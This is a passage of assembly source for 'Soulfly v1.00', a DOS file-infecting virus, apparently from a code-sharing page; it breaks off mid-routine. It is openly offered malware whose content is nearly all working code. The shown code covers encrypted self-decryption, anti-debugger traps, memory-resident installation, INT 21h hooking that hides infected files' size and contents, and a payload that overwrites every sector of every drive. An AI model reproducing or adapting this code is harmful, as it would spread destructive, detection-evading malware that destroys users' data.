📄 soulfly.asm
字号:
;============================================================================
;
;
; NAME: Soulfly v1.00
; TYPE: Full-stealth variable encrypting .COM & .EXE-infector.
; SIZE: 2000 bytes.
; OS: DOS.
; CPU: 286+
; AUTHOR: T-2000 / [Immortal Riot].
; E-MAIL: T2000_@hotmail.com
; DATE: December 1998 - January 1999.
; PAYLOAD: But ofcourse, disktrashing.
;
;
; - Full-stealth (network/Win95 compatible).
; - Variable encrypted in files (including hostbytes).
; - Disables stealth during execution archivers/disktools.
; - Goes resident in UMB-area if available.
; - Infects files pointed to COMSPEC and WINDIR-variables.
; - Anti-debugger/tracer/disassembler/emulator tricks.
; - Passes sanity-checks.
; - Highly destructive payload, no sector is safe.
;
;
; "I'LL MAKE YOU BLEED AND YOU'RE BLEEDING NOW!! MUTHAFUCKA!!"
;
;============================================================================
.MODEL TINY
.STACK Virus_Stack
.286
.CODE
Virus_Stack EQU 1024
Virus_Size EQU (Virus_End - Start)
Virus_Size_Mem EQU ((Virus_End_Mem - Start) + 15) / 16
Res_Check_AX EQU 0DB66h
Res_Check_BX EQU 83FBh
Marker_Mem_AX EQU 1112h
Marker_Mem_BX EQU 1EE7h
Marker_File EQU 9AEAh
Century EQU 100 SHL 1
Encrypted_Size EQU (End_Encrypted - Encrypted)
START:
PUSH DS ; Save PSP of our host.
CALL Get_Delta
Anti_Disasm: DB 0EAh
Get_Delta: POP DS ; Use a segment-register so
; F-Prot won't yell.
MOV SI, DS
SUB SI, (Anti_Disasm - Start)
PUSH CS
POP DS
MOV AX, 0 ; Initial decryption-key.
Init_Key = WORD PTR $-2
MOV BX, OFFSET End_Encrypted - 2
MOV CX, (Encrypted_Size / 2)
Decrypt_Word: XOR [SI+BX], AX ; Decrypt a word.
DEC BX ; Next (previous) word.
DEC BX
ADD AX, 0 ; Key-slider, to fuck X-Rays.
Slide_Key = WORD PTR $-2
JMP Loop_Decrypt ; Reload that prefetch-que!
DB 9Ah
IF (($ - Start) MOD 2) EQ 1
DB -1
ENDIF
Loop_Decrypt: LOOP Decrypt_Word
Encrypted: CALL Anti_Debugger
AND DI, CX ; Zero DI.
JZ Do_Res_Check
DB 0EAh
Do_Res_Check: MOV AX, Res_Check_AX ; Residency-check.
MOV BX, Res_Check_BX
INT 21h
CMP AX, Marker_Mem_AX ; We're already up there?
JNE Make_Virus_TSR
CMP BX, Marker_Mem_BX ; Double-check.
JNE Make_Virus_TSR
JMP_Exec_Host: JMP Exec_Host
Make_Virus_TSR: MOV AX, 5802h ; Get UMB link state.
INT 21h
JC Try_Alloc_Mem
CBW ; Save link state on stack.
PUSH AX
MOV AX, 5803h ; Link UMB-chain.
PUSH AX
MOV BX, 01h
INT 21h
JC Try_Alloc_Mem
INC CX
MOV AX, 5800h ; Get allocation strategy.
INT 21h
JC Try_Alloc_Mem
PUSH AX ; Save strategy on stack.
MOV AX, 5801h ; Set allocation strategy,
PUSH AX ; First fit, start with UMBs.
MOV BL, 80h
INT 21h
JC Try_Alloc_Mem
INC CX
Try_Alloc_Mem: MOV AH, 48h ; Try to allocate memory...
MOV BX, Virus_Size_Mem
INT 21h
JNC Copy_Virus_Up
MOV AH, 4Ah ; Get total size of block.
MOV BX, 0FFFFh
INT 21h
MOV AH, 4Ah ; Resize block, so there's
SUB BX, Virus_Size_Mem + 1 ; room for the virus.
INT 21h
JMP Try_Alloc_Mem
Trash_Text DB 'SOULFLY, FLY FREE!', 0Ah, 0Dh, '$'
Copy_Virus_Up: MOV ES, AX ; Our allocated block.
DEC AX ; MCB of allocated block.
MOV DS, AX
MOV [DI.MCB_PSP], 08h ; Block doesn't have a PSP.
MOV [DI.MCB_Program], 'CS' ; Used by the system.
JCXZ Do_Copy_Up
DEC CX
JZ Restore_Link
Restore_Alloc: POP AX ; Restore original allocation
POP BX ; strategy.
INT 21h
Restore_Link: POP AX ; Restore UMB link state.
POP BX
INT 21h
Do_Copy_Up: PUSH SI
MOV CX, (Virus_Size / 2) ; Copy virus to allocated
CLD ; segment.
SEGCS
REP MOVSW
POP SI
PUSH ES
POP DS
MOV Active_Switch, CX
JCXZ Get_Int13h ; To confuse some analyzers.
DB 9Ah
Get_Int13h: MOV AX, 3513h ; Get address INT 13h for
INT 21h ; payload-routine.
MOV Int13h, BX ; Save it.
MOV Int13h+2, ES
MOV AL, 21h ; Get address INT 21h.
INT 21h
MOV Int21h, BX ; Save it.
MOV Int21h+2, ES
MOV AH, 25h ; Chain our own handler.
MOV DX, OFFSET NewInt21h
INT 21h
CALL Infect_ComSpec
Exec_Host: PUSH CS
POP DS
ADD SI, OFFSET Host_Bytes
CALL Crypt_Header
POP ES ; PSP of current process.
XOR AX, AX
XOR BX, BX
CWD
CALL Check_4_EXE ; This host is a .EXE-file?
JE Exec_Host_EXE
Exec_Host_COM: MOV DI, 100h - 1 ; Restore original entry-
INC DI ; bytes of our host.
PUSH DI
MOV CL, 24 / 2
CLD
REP MOVSW
PUSH ES
POP DS
XOR SI, SI
XOR DI, DI
RETN
Exec_Host_EXE: MOV CX, ES ; Calculate effective
ADD CX, 10h ; segment.
ADD [SI.Program_CS], CX
ADD CX, [SI.Program_SS]
PUSH ES
POP DS
MOV SS, CX
MOV SP, CS:[SI.Program_SP]
XOR CX, CX
XOR DI, DI
JMP DWORD PTR CS:[SI.Program_IP]
Anti_Debugger:
POP DI ; POP return-address.
CMP BYTE PTR CS:[DI], 0CCh ; Debugger breakpoint?
JE Payload
CLI ; Stack-checker, to detect
PUSH AX ; debuggers and single-step
POP AX ; tracers such as TBClean.
DEC SP
DEC SP
POP BX
STI
CMP AX, BX ; They're the same?
JNE Payload ; Else fuck him over.
JMP DI
; NO HOPE = NO FEAR
Payload:
PUSH CS
POP DS
PUSH CS
POP ES
MOV BX, OFFSET Trash_Text
MOV CX, 01h
MOV DX, 80h
Trash_Loop: XOR AH, AH ; Reset drive.
CALL OldInt13h
MOV AX, 033Fh ; Trash track with garbage.
CALL OldInt13h
ADD CH, CL ; Take all tracks.
ADC DH, 0 ; Take all heads.
ADC DL, 0 ; Take all drives.
PUSH DX
MOV AH, 09h ; Let them know what hit 'em.
MOV DX, OFFSET Trash_Text
CALL OldInt21h
POP DX
JMP Trash_Loop
IRC_Hint DB '<Soulfly->', 0
NewInt21h:
JMP $+666h
Active_Switch = WORD PTR $-2
Chk_Stealth_F: CMP AH, 11h - 1 ; Findfirst (FCB) ?
JBE Chk_Stealth_H
CMP AH, 12h ; Findnext (FCB) ?
JA Chk_Stealth_H
Stealth_Size_F: CALL OldInt21h
PUSHF
PUSHA
PUSH DS
PUSH ES
OR AL, AL ; Abort if error.
JNZ JMP_RETF2_Exit
CALL Get_DTA
CMP DS:[BX.FCB_Drive], -1 ; Test for an extended FCB.
JNE FCB_Format_OK
ADD BX, 07h ; Coz we don't need it.
FCB_Format_OK: CMP BYTE PTR DS:[BX.FCB_Date+1], AL
JB RETF2_Exit
SUB BYTE PTR DS:[BX.FCB_Date+1], AL
SUB DS:[BX.FCB_Size], Virus_Size
SBB DS:[BX.FCB_Size+2], DX
JMP_RETF2_Exit: JMP RETF2_Exit
Chk_Stealth_H: CMP AH, 4Eh ; Findfirst (handle) ?
JB Chk_Stealth_W
CMP AH, 4Fh ; Findnext (handle) ?
JA Chk_Stealth_W
Stealth_Size_H: CALL OldInt21h ; Execute the function.
PUSHF
PUSHA
PUSH DS
PUSH ES
JC RETF2_Exit
CALL Get_DTA
CMP BYTE PTR DS:[BX.Handle_Date+1], AL
JB RETF2_Exit
SUB BYTE PTR DS:[BX.Handle_Date+1], AL
SUB DS:[BX.Handle_Size], Virus_Size
SBB DS:[BX.Handle_Size+2], DX
JMP RETF2_Exit
Chk_Stealth_W: CMP AX, 714Eh ; Findfirst (Win95) ?
JB Chk_Stealth_Re
CMP AX, 714Fh ; Findnext (Win95) ?
JA Chk_Stealth_Re
.386 ; This routine will only be
; called in Win95, which is
; 386+.
Stealth_Size_W: CALL OldInt21h
PUSHF
PUSHA
PUSH DS
PUSH ES
JC RETF2_Exit
PUSH ES
POP DS
MOV DH, BYTE PTR DS:[DI.Win95_Date+1]
DEC SI ; Stamp is in DOS-format?
JZ Is_DOS_Format
PUSH SI
MOV AX, 71A7h ; Convert Win95-format to
XOR BL, BL ; DOS-format.
LEA SI, DS:[DI.Win95_Time]
CALL OldInt21h
POP SI
Is_DOS_Format: CMP DH, Century ; This file is infected?
JB RETF2_Exit
; Restore original filesize.
SUB DS:[DI.Win95_Size_Lo], LARGE Virus_Size
SBB DS:[DI.Win95_Size_Hi], 0
INC SI
JZ RETF2_Exit
SUB BYTE PTR DS:[DI.Win95_Date+1], Century
RETF2_Exit: POP ES
POP DS
POPA
POPF
RETF 2
.286 ; Back to 80286-mode.
Chk_Stealth_Re: CMP AH, 3Fh ; Read file?
JE Stealth_Read
JMP Chk_Seek_EOF
Stealth_Read: PUSHF
PUSHA
PUSH DS
PUSH ES
MOV CS:Bytes_To_Read, CX
MOV CS:Read_Buffer, DX
CALL Check_Handle
JS JMP_Exit_Abort
JNB File_Infected
JMP_Exit_Abort: JMP Exit_Abort
File_Infected: CALL Save_File_Pos
ADD AX, 0 ; Calculate end-position of
Bytes_To_Read = WORD PTR $-2 ; the caller's read.
ADC DX, CX
XCHG SI, AX ; Save it in DI:SI.
MOV DI, DX
CALL Go_EOF
SUB AX, Virus_Size ; Calculate uninfected size.
SBB DX, CX
CMP DI, DX ; Read reaches virusbody?
JB Not_In_Body
JA In_Body
CMP SI, AX
JNA Not_In_Body
In_Body: PUSH AX
PUSH DX
CALL Restore_File_Pos
POP DI ; Size uninfected.
POP SI
SUB SI, AX ; Calculate amount of bytes
; to read.
MOV CX, SI
JMP Do_Read
Not_In_Body: MOV CX, CS:Bytes_To_Read
Do_Read: PUSHA
CALL Restore_File_Pos
POPA
MOV DX, 0 ; Do the stealthed read.
Read_Buffer = WORD PTR $-2
CALL Read_File
JC RETF2_Exit
MOV [BP.Reg_AX], AX ; Store amount of bytes read.
PUSH AX
CALL Save_File_Pos
PUSH AX
PUSH DX
PUSH DS
POP ES
CALL Seek_Header
CALL Read_Header
CALL Crypt_Header
POP DX ; Position after read.
POP AX
POP CX
SUB AX, CX ; Pos readstart
SBB DX, 0
JNZ Exit_St_Read ; They read from the header?
CMP AX, 24
JNB Exit_St_Read
ADD CX, AX ; Calculate end-offset read.
JC Header_End
CMP CX, 24
JNA Read_St_Header
Header_End: MOV CX, 24
Read_St_Header: SUB CX, AX ; Calculate amount of bytes
; to stealth from header.
ADD SI, AX
MOV DI, Read_Buffer
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -